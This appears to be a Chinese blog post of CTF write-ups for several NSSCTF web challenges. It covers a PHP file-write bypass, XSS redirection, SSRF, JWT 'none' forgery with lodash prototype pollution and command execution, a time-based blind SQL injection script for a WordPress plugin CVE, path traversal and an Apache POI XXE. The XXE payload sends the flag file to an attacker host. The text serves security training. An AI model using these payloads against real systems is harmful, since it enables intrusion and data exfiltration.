NSSCTF练习1

prize_p6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

function x(){
exit();
}

if(isset($_GET['f'])){
$content = $_GET['content'];
if (preg_match('/index|function|x|iconv|UCS|UTF|rot|zlib|quoted|base64|%|toupper|tolower|strip_tags|dechunk|\.\./i', $content)) {
die('hacker');
}
if ($_GET['f'] == "create"){
file_put_contents($content, '<?=x();?>' . $content);
}
elseif ($_GET['f'] == "edit"){
$s1 = $_GET['s1'];
$s2 = $_GET['s2'];
if (strlen($s1) > 20 || strlen($s2) > 20 || preg_match('/\=|x| |\?|\<|\>|\(|\)/i', $s1) || preg_match('/\=|x| |\?|\<|\>|\(|\)/i', $s2)) {
die('hacker');
}
if(file_exists($content)){
$s = file_get_contents($content);
$s = str_replace($s1, $s2, $s);
file_put_contents($content, $s);
}
else{
die("file no exits!");
}

}
else{
include($content);
}
}else{
highlight_file(__FILE__);
}
?>

简单的数组绕过正则匹配,实现任意文件上传

1
2
3
?f=create&content=1.php
?f=edit&content=1.php&s1[]=x()&s2=system('ls /')
?f=edit&content=1.php&s1[]=system('ls /')&s2[]=system('cat /nssctf_prize_flag_is_here_dasdasd')

门酱想玩什么呢?

初始部分的源代码发现hint

进入提示php得到部分源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}

parse_url()
(PHP 4, PHP 5, PHP 7, PHP 8)

parse_url() — 解析 URL,返回其组成部分

说明
parse_url(string $url, int $component = -1): int|string|array|null|false
本函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。

本函数不是用来验证给定 URL 的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。

对于严重错误的url会返回false

#1 parse_url() 例子

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

以上示例会输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
array(8) {
["scheme"]=>
string(4) "http"
["host"]=>
string(8) "hostname"
["port"]=>
int(9090)
["user"]=>
string(8) "username"
["pass"]=>
string(8) "password"
["path"]=>
string(5) "/path"
["query"]=>
string(9) "arg=value"
["fragment"]=>
string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

#2 parse_url() 解析丢失协议的例子

1
2
3
4
5
6
<?php
$url = '//www.example.com/path?googleguy=googley';

// 在 5.4.7 之前这会输出路径 "//www.example.com/path"
var_dump(parse_url($url));
?>

以上示例会输出:

1
2
3
4
5
6
7
8
array(3) {
["host"]=>
string(15) "www.example.com"
["path"]=>
string(5) "/path"
["query"]=>
string(17) "googleguy=googley"
}

看起来像是评论给图片链接部分的代码,echo '<img class="content" src="' . $matches[0] . '">';一看就是可以xss拼接的

构造payload

http://""><script>document.location="https://ymzx.qq.com/";</script>.png 123 /png

成功插入重定向

[网鼎杯 2020 玄武组]SSRFMe

进入得到部分源代码,提示有hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

其中ip2long()函数可以将id转换为长整型的数据

然后就是

$output = curl_exec($ch);var_dump($output);这两句代码可以实现ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// fictional URL to an existing file with no data in it (ie. 0 byte file)
$url = 'http://www.example.com/empty_file.txt';

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, false);

// execute and return string (this should be an empty string '')
$str = curl_exec($curl);

curl_close($curl);

// the value of $str is actually bool(true), not empty string ''
var_dump($str);

?>

那么我们可以先尝试读取hint.php

构造http://0.0.0.0/hint.php

得到

1
2
3
4
5
6
7
string(1360) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
} "

接下来是redis中从RCE,后面再写。

[NSSCTF 2nd]MyJs

访问/source有源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')

可以看到他的/home和/update路由都是基于session的,然后session是有jwt构造的,可以jwt伪造,js是有jwt验证缺陷的,当用户传入jwt secretid为空时 jsonwebtoken会采用algorithm none进行解密,即便在登录验证代码部分const user = jwt.verify(token, secret, {algorithm: 'HS256'});后面的算法指名为 HS256,验证也还是按照 none 来验证通过的。这样我们就可以写一个简单的脚本,伪造jwt

1
2
3
import jwt
token = jwt.encode({"username":"nss","password":"admin","secretid":"0x0"},algorithm="none",key="").decode(encoding="utf-8")
print(token)

通过merge进行原型链污染

1
2
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('env');var __tmp2"}}

[HNCTF 2022 WEEK2]ohmywordpress

给了源代码,看到版本号为

找对对应的漏洞CVE-2022-0760有下面的payload

查看源代码部分

/wp-admin/admin-ajax.php

1
2
3
4
5
6
7
8
// Register core Ajax calls.
if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get, true ) ) {
add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
}

if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post, true ) ) {
add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
}

这段代码拼接了action,在action=qcopd_upvote_action的时候进入qc-opd-ajax-stuffs.php执行upvote_ajax_action_stuff()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
function upvote_ajax_action_stuff()
{

//Get posted items
$action = sanitize_text_field($_POST['action']);
$post_id = sanitize_text_field($_POST['post_id']);
$meta_title = sanitize_text_field($_POST['meta_title']);
$meta_link = esc_url_raw($_POST['meta_link']);
$li_id = sanitize_text_field($_POST['li_id']);

//Check wpdb directly, for all matching meta items
global $wpdb;

$results = $wpdb->get_results("SELECT * FROM $wpdb->postmeta WHERE post_id = $post_id AND meta_key = 'qcopd_list_item01'");

//Defaults
$votes = 0;

$data['votes'] = 0;
$data['vote_status'] = 'failed';

$exists = @in_array("$li_id", @$_COOKIE['voted_li']);

//If li-id not exists in the cookie, then prceed to vote
if (!$exists) {

//Iterate through items
foreach ($results as $key => $value) {

$item = $value;

$meta_id = $value->meta_id;

$unserialized = unserialize($value->meta_value);

//If meta title and link matches with unserialized data
if (trim($unserialized['qcopd_item_title']) == trim($meta_title) && trim($unserialized['qcopd_item_link']) == trim($meta_link)) {

$metaId = $meta_id;

//Defaults for current iteration
$upvote_count = 0;
$new_array = array();
$flag = 0;

//Check if there already a set value (previous)
if (array_key_exists('qcopd_upvote_count', $unserialized)) {
$upvote_count = (int)$unserialized['qcopd_upvote_count'];
$flag = 1;
}

foreach ($unserialized as $key => $value) {
if ($flag) {
if ($key == 'qcopd_upvote_count') {
$new_array[$key] = $upvote_count + 1;
} else {
$new_array[$key] = $value;
}
} else {
$new_array[$key] = $value;
}
}

if (!$flag) {
$new_array['qcopd_upvote_count'] = $upvote_count + 1;
}

$votes = (int)$new_array['qcopd_upvote_count'];

$updated_value = serialize($new_array);

$wpdb->update(
$wpdb->postmeta,
array(
'meta_value' => $updated_value,
),
array('meta_id' => $metaId)
);

$voted_li = array("$li_id");

$total = 0;
$total = count($_COOKIE['voted_li']);
$total = $total + 1;

setcookie("voted_li[$total]", $li_id, time() + (86400 * 30), "/");

$data['vote_status'] = 'success';
$data['votes'] = $votes;
}

}
}

$data['cookies'] = $_COOKIE['voted_li'];

echo json_encode($data);


die(); // stop executing script
}

实际上在

可以执行sql注入

接下来就是写时间注入脚本爆出flag就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
url = "http://node5.anna.nssctf.cn:22835/wp-admin/admin-ajax.php"
result = ""
for i in range(1,100):
for j in range(32,128):
data = {
"action":"qcopd_upvote_action",
#"post_id":f"(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={j},sleep(3),0))enz)"
#"post_id":f"(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(table_name) from information_schema.table) where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1)))))"
"post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={j},sleep(3),0))enz)"
}
time1 = time.time()
res = requests.post(url, data=data)
time2 = time.time()
if time2 - time1 > 3:
result += chr(j)
print(result)
break

[网鼎杯 2020青龙组]FileJava

进入是一个上传页面

上传之后发现可以下载

尝试任意文件下载

不让读取flag,那么我们先把源代码读出来

1
http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../web.xml

得到目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>

依次读出三个配置文件

1
http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../classes/cn/abc/servlet/DownloadServlet.class
1
http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
1
http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../classes/cn/abc/servlet/UploadServlet.class

得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.servlet;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Iterator;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

public UploadServlet() {
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists()) {
tempFile.mkdir();
}

String message = "";

try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(1048576L);
upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request)) {
return;
}

List<FileItem> list = upload.parseRequest(request);
Iterator var10 = list.iterator();

label56:
while(true) {
while(true) {
if (!var10.hasNext()) {
break label56;
}

FileItem fileItem = (FileItem)var10.next();
String filename;
String fileExtName;
if (fileItem.isFormField()) {
filename = fileItem.getFieldName();
fileExtName = fileItem.getString("UTF-8");
} else {
filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {
fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}

String saveFilename = this.makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
String realSavePath = this.makePath(saveFilename, savePath);
FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
byte[] buffer = new byte[1024];
int len = false;

int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}

in.close();
out.close();
message = "文件上传成功!";
}
}
}
}
} catch (FileUploadException var21) {
var21.printStackTrace();
}

request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}

private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;
}

private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = savePath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}

return dir;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.servlet;

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ListFileServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

public ListFileServlet() {
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String uploadFilePath = this.getServletContext().getRealPath("/WEB-INF/upload");
Map<String, String> fileNameMap = new HashMap();
String saveFilename = (String)request.getAttribute("saveFilename");
String filename = (String)request.getAttribute("filename");
System.out.println("saveFilename" + saveFilename);
System.out.println("filename" + filename);
saveFilename.substring(saveFilename.indexOf("_") + 1);
fileNameMap.put(saveFilename, filename);
request.setAttribute("fileNameMap", fileNameMap);
request.getRequestDispatcher("/listfile.jsp").forward(request, response);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.servlet;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

public DownloadServlet() {
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "禁止读取");
request.getRequestDispatcher("/message.jsp").forward(request, response);
} else {
String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
File file = new File(path + "/" + fileName);
if (!file.exists()) {
request.setAttribute("message", "您要下载的资源已被删除!");
request.getRequestDispatcher("/message.jsp").forward(request, response);
} else {
String realname = fileName.substring(fileName.indexOf("_") + 1);
response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
FileInputStream in = new FileInputStream(path + "/" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
int len = false;

int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}

in.close();
out.close();
}
}
}

public String findFileSavePathByFileName(String filename, String saveRootPath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}

return dir;
}
}

代码审计之后得到关键代码

1
2
3
4
5
6
7
8
9
10
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}

这里使用java使用WorkbookFactory.create()解析了excel-开头的xlsl文件

apache poi 在3.10.1之前存在XXE漏洞

excel 文件中的 [Content_Types].xml/xl/workbook.xml/xl/worksheets/shee1.xml 可添加 xxe_payload 触发漏洞。

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip:port/evil.dtd">
%remote;%int;%send;
]>

服务器

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port?p=%file;'>">

监听就好